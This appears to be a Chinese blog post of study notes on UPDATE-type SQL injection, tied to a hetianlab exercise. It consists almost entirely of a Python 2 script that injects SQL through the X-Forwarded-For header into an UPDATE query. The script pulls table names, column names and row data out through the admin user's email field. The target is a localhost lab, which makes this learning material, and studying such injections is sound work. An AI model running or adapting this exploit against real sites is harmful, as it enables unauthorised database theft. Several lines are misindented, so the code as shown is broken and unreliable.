天天看點

滲透測試之Update型注入學習筆記

版權聲明:轉載請注明出處:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396413

參考實驗:

http://www.hetianlab.com/expc.do?ce=572fa9e9-7eb1-4928-bfe3-eaa444eab1e0 sqlupdateattack.py

#!/usr/bin/python

    # -*- coding: utf-8 -*-

    import HTMLParser 

    import urlparse 

    import urllib 

    import urllib2 

    import cookielib 

    import string 

    import binascii

    import re

    import time

    #截取字元串中startStr,endStr中間的值

    def GetMiddleStr(content,startStr,endStr):

        patternStr = r'%s(.+?)%s'%(startStr,endStr)

        p = re.compile(patternStr,re.S)

        m= re.search(p,content)

        if m:

            return m.group(1)

    #跑表數量

    def count(table_name,mode):

        if mode==0:

            tn16=binascii.b2a_hex(table_name.encode("utf8"))

            sql_count='1.1.1.1\',email=(select count(COLUMN_NAME) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'

        else:

            if table_name=='testuser':

                sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'

            else:

                sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'

        return sql_count

    #跑表的列名用到的sql注入語句

    def sql_column(table_name,num):

        tn16=binascii.b2a_hex(table_name.encode("utf8")) 

        sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'

        return sql_column

    #跑表的内容

    def sql_data(table_name,column,num):

        sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id  limit '+str(num)+',1) where username=\'admin\'#'   

        return sql_data

    #跑表的内容(與update所用表(即示範中的testuser表)沖突使用)

    def sql_users(column,num):

        sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by ID limit '+str(num)+',1) where username=\'admin\'#'

        return sql_users

    #注入,先模拟登陸後截取結果并寫入檔案   

    def inject(posturl,sql):

        try:

            cookieJar=cookielib.CookieJar()

            opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))

            headers =  {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04', 

                        'X-Forwarded-For' : sql} 

            postData = {'uname' : 'admin', 

                        'passwd' : 'admin', 

                        'submit' : 'Submit' } 

            postData = urllib.urlencode(postData) 

            request = urllib2.Request(posturl, postData, headers) 

            result = opener.open(request)

            str=result.read()

            m=GetMiddleStr(str,'your email is:','</font><br>')

            return m

        except Exception,err:

            err = 'weberror'

            raise Exception(err)

    if __name__ == '__main__': 

        posturl = 'http://127.0.0.1/test/index.php'

    table_name=['testuser', 'test1']

    #先跑表的各字段名,并存放到臨時的column_name中   

        column_name=[]

        for table in table_name:

            sql_count=inject(posturl,count(table,0))

           print table+":\r\n"

           for num in range(int(sql_count)):

                sql=sql_column(table,num)

                try:

                    m=inject(posturl,sql)

                    column_name.append(m)

                except TypeError:

                    print 'error'  

            print column_name

    #跑對應的資料   

            for column in column_name:

                print table+"|||"+column+":"

                for num in range(int(inject(posturl,count(table,1)))):

                    if table=='testuser':

                        sql=sql_users(column,num)

                    else:

                        sql=sql_data(table,column,num)

                    m=inject(posturl,sql)

                    print m

            print "\n"